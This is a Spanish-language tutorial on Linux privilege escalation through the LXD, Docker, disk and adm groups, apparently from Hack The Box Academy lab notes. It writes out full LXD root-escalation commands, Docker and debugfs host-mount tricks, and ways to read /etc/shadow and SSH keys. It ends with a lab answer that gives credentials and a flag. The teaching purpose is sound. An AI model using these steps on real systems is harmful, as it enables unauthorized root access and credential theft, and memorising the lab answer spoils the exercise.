🐧Grupos privilegiados
Grupo LXC / LXD
LXD es similar a Docker y es el administrador de contenedores de Ubuntu. Tras la instalación, todos los usuarios se agregan al grupo LXD. La pertenencia a este grupo se puede utilizar para escalar privilegios mediante la creación de un contenedor LXD, haciéndolo privilegiado y luego accediendo al sistema de archivos del host en /mnt/root
. Confirmemos la pertenencia al grupo y usemos estos derechos para escalar a root.
devops@NIX02:~$ id
uid=1009(devops) gid=1009(devops) groups=1009(devops),110(lxd)
Descomprima la imagen de Alpine.
devops@NIX02:~$ unzip alpine.zip
Archive: alpine.zip
extracting: 64-bit Alpine/alpine.tar.gz
inflating: 64-bit Alpine/alpine.tar.gz.root
cd 64-bit\ Alpine/
Inicie el proceso de inicialización de LXD. Elija los valores predeterminados para cada solicitud. Consulte esta publicación para obtener más información sobre cada paso.
devops@NIX02:~$ lxd init
Do you want to configure a new storage pool (yes/no) [default=yes]? yes
Name of the storage backend to use (dir or zfs) [default=dir]: dir
Would you like LXD to be available over the network (yes/no) [default=no]? no
Do you want to configure the LXD bridge (yes/no) [default=yes]? yes
/usr/sbin/dpkg-reconfigure must be run as root
error: Failed to configure the bridge
Importar la imagen local.
devops@NIX02:~$ lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
Generating a client certificate. This may take a minute...
If this is your first time using LXD, you should also run: sudo lxd init
To start your first container, try: lxc launch ubuntu:16.04
Image imported with fingerprint: be1ed370b16f6f3d63946d47eb57f8e04c77248c23f47a41831b5afff48f8d1b
Inicie un contenedor privilegiado con el conjunto security.privileged
en true
para ejecutar el contenedor sin una asignación de UID, lo que hace que el usuario raíz en el contenedor sea el mismo que el usuario raíz en el host.
devops@NIX02:~$ lxc init alpine r00t -c security.privileged=true
Creating r00t
Monte el sistema de archivos del host.
devops@NIX02:~$ lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
Device mydev added to r00t
Por último, crea un shell dentro de la instancia del contenedor. Ahora podemos explorar el sistema de archivos del host montado como root. Por ejemplo, para acceder al contenido del directorio raíz en el tipo de host cd /mnt/root/root
. Desde aquí podemos leer archivos confidenciales como /etc/shadow
, obtener hashes de contraseñas u obtener acceso a claves SSH para conectarnos al sistema host como root, y más.
devops@NIX02:~$ lxc start r00t
devops@NIX02:~/64-bit Alpine$ lxc exec r00t /bin/sh
~ # id
uid=0(root) gid=0(root)
~ #
Grupo Docker
Colocar un usuario en el grupo docker es esencialmente equivalente al acceso de nivel raíz al sistema de archivos sin necesidad de una contraseña. Los miembros del grupo docker pueden generar nuevos contenedores docker. Un ejemplo sería ejecutar el comando docker run -v /root:/mnt -it ubuntu
. Este comando crea una nueva instancia de Docker con el directorio /root
en el sistema de archivos del host montado como un volumen. Una vez que se inicia el contenedor, podemos navegar hasta el directorio montado y recuperar o agregar claves SSH para el usuario root. Esto se puede hacer para otros directorios, como /etc
que se puede usar para recuperar el contenido del archivo /etc/shadow
para crackear contraseñas sin conexión o agregar un usuario privilegiado.
Grupo Disks
Los usuarios dentro del grupo de disks
tienen acceso total a todos los dispositivos incluidos en /dev
, como /dev/sda1
, que suele ser el dispositivo principal que utiliza el sistema operativo. Un atacante con estos privilegios puede utilizar debugfs
para acceder a todo el sistema de archivos con privilegios de nivel root.
sudo debugfs /dev/sda1
Al igual que con el ejemplo del grupo Docker, esto se podría aprovechar para recuperar claves SSH, credenciales o para agregar un usuario.
Ver usuarios del grupo disks
getent group disk
Grupo ADM
Los miembros del grupo adm pueden leer todos los registros almacenados en /var/log
. Esto no otorga acceso directo a la raíz, pero se puede aprovechar para recopilar datos confidenciales almacenados en archivos de registro o enumerar acciones de los usuarios y trabajos cron en ejecución.
secaudit@NIX02:~$ id
uid=1010(secaudit) gid=1010(secaudit) groups=1010(secaudit),4(adm)
Caso práctico
SSH a 10.129.148.62 (ACADEMY-LPE-NIX02)
User "secaudit"
Password "Academy_LLPE!"
Pregunta 1
Utiliza los derechos de grupo privilegiados del usuario
secaudit
para localizar una flag.
secaudit@NIX02:~$ id
uid=1010(secaudit) gid=1010(secaudit) groups=1010(secaudit),4(adm)
secaudit@NIX02:~$ sudo -l
[sudo] password for secaudit:
Sorry, user secaudit may not run sudo on NIX02.
Nos logueamos y lo primero que observamos es que este usuario no puede ejecutar sudo, pero vemos que pertenece al grupo adm
, lo que nos permite leer todos los registros almacenados en /var/log
.
secaudit@NIX02:/var/log$ ls
alternatives.log btmp journal tallylog vmware-network.3.log vmware-network.9.log vmware-vmsvc-root.1.log
apache2 dist-upgrade kern.log ubuntu-advantage.log vmware-network.4.log vmware-network.log vmware-vmsvc-root.2.log
apport.log dpkg.log lastlog unattended-upgrades vmware-network.5.log vmware-vmsvc.1.log vmware-vmsvc-root.3.log
apt faillog lxd upgrade vmware-network.6.log vmware-vmsvc.2.log vmware-vmsvc-root.log
auth.log fontconfig.log mysql vmware-network.1.log vmware-network.7.log vmware-vmsvc.3.log vmware-vmtoolsd-root.log
bootstrap.log installer syslog vmware-network.2.log vmware-network.8.log vmware-vmsvc.log wtmp
Vemos que hay un montón de archivos y directorios, por lo que vamos a filtrar con grep buscando la cadena 'HTB{
' que es el formato de flag por defecto en Hack the Box:
secaudit@NIX02:/var/log$ grep -ri 'HTB{' /var/log/* 2>/dev/null
Binary file /var/log/journal/4cdc7d14be432b0282d6f28a5f4bdb8c/system.journal matches
/var/log/apache2/access.log:10.10.14.3 - - [01/Sep/2020:05:34:22 +0200] "GET /flag%20=%20ch3ck_th0se_gr0uP_m3mb3erSh1Ps! HTTP/1.1" 301 409 "-" "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
Bingo! Obtenemos la flag: ch3ck_th0se_gr0uP_************!
Última actualización
¿Te fue útil?